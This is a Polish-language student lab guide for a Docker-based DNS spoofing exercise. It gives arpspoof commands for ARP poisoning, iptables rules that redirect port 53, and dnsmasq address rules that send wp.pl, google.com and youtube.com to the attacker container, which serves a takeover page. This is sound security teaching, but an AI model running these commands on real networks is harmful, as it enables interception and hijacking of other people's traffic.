Instrukcja dla studenta - Scenariusz 2 (DNS Spoofing)

1 Pobieranie projektu

Polecenia:

```
git clone https://github.com/mateuszskala/BiNSC.git
cd BiNSC/Lab02
```

2 Weryfikacja plików

- docker-compose.yml - plik definiujący kontenery scenariusza,
- Dockerfile.attacker - plik definiujący obraz kontenera atakującego,
- Dockerfile.client - plik definiujący obraz kontenera ofiary,
- folder attacker_files - pliki konfiguracyjne i skrypty dla kontenera atakującego

3 Uruchomienie środowiska i struktura sieci

Polecenia:

```
docker-compose build
docker-compose up -d
docker ps
```

W sieci znajdują sie 2 kontenery oraz domyślna brama, maja przypisane następujące adresy IP:

- dns_attacker - 172.30.1.10
- dns_client - 172.30.1.5
- brama - 172.30.1.1

Otwieramy 2 okna terminala, w pierwszym łączymy się z kontenerem atakującym, w drugim z kontenerem ofiary:

```
docker exec -it dns_attacker bash
docker exec -it dns_client bash
```

4 Weryfikacja komunikacji z siecią zewnętrzną

Na kontenerze ofiary sprawdzamy adresy MAC bramy i atakującego:

```
ping 172.30.1.10
ping 172.30.1.1
arp -a
```

Warto zanotować je do poźniejszej weryfikacji. Następnie sprawdzamy czy komunikacja z siecią zewnętrzną działa poprawnie:

```
ping wp.pl
ping allegro.pl
ping google.com
...

curl wp.pl -i
curl allegro.pl -i
curl google.com -i
...
```

Również warto zanotować adres IP domeny wp.pl oraz odpowiedź na zapytanie http do poźniejszej weryfikacji.

5 ARP poisoning

Na kontenerze atakującym otwieramy nowe okna terminala i uruchamiamy w nich narzędzie arpspoof, możemy w kolejnym oknie otworzyć również narzędzie tshark do śledzenia przepływu pakietów:

```
arpspoof -t 172.30.1.5 172.30.1.1
arpspoof -t 172.30.1.1 172.30.1.5

tshark -i eth0 -Y "dns or tls or http"
```

Następnie na kontenerze ofiary znów sprawdzamy tablice ARP:

```
arp -a
```

Adres bramy powinien być teraz taki sam jak atakującego.

6 Uruchomienie Dnsmasq

Na kontenerze atakującym dodajemy 2 reguły do iptables i uruchamiamy usługę Dnsmasq:

```
iptables -t nat -A PREROUTING -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 53 -j REDIRECT --to-port 53

service dnsmasq start
```

Na kontenerze ofiary sprawdzamy ponownie komunikacje z siecią zewnętrzną:

```
ping wp.pl
ping allegro.pl
ping google.com
...

curl wp.pl -i
curl allegro.pl -i
curl google.com -i
...
```

Adres IP domeny wp.pl powinien być teraz 172.30.1.10, a odpowiedź na zapytanie http wyglądać mniej więcej tak:

```
<html>
<body>
<h1>Witaj! Ta domena została przejęta.</h1>
</body>
</html>
```

Podczas setupu uruchamiany jest prosty skrypt responder.py, ktory nasłuchuje na porcie 80 i zwraca powyższą stronę dla każdej przychodzącej prośby HTTP.

7 Modyfikacja konfiguracji Dnsmasq

Plik konfiguracyjny dla Dnsmasq znajduje sie w /etc/dnsmasq.conf. Możemy zmodyfikować istniejącą linie address lub dodać nową regułę. Na przykład:

```
address=/wp.pl/172.30.1.10 -> address=/google.com/172.30.1.10
address=/youtube.com/172.30.1.10
```

Następnie restartujemy usługę Dnsmasq:

```
service dnsmasq restart
```

8 Zakończenie ataku

Aby przerwać atak kończymy proces w oknie w którym uruchomiono arpspoof (CTRL+C). Oraz wpisujemy polecenie:

```
iptables -t nat -F PREROUTING
```

Następnie na kontenerze ofiary ponownie sprawdzamy tablice ARP, adresy MAC powinny być różne tak jak na początku:

```
arp -a
```

Również weryfikujemy adres IP atakowanej domeny.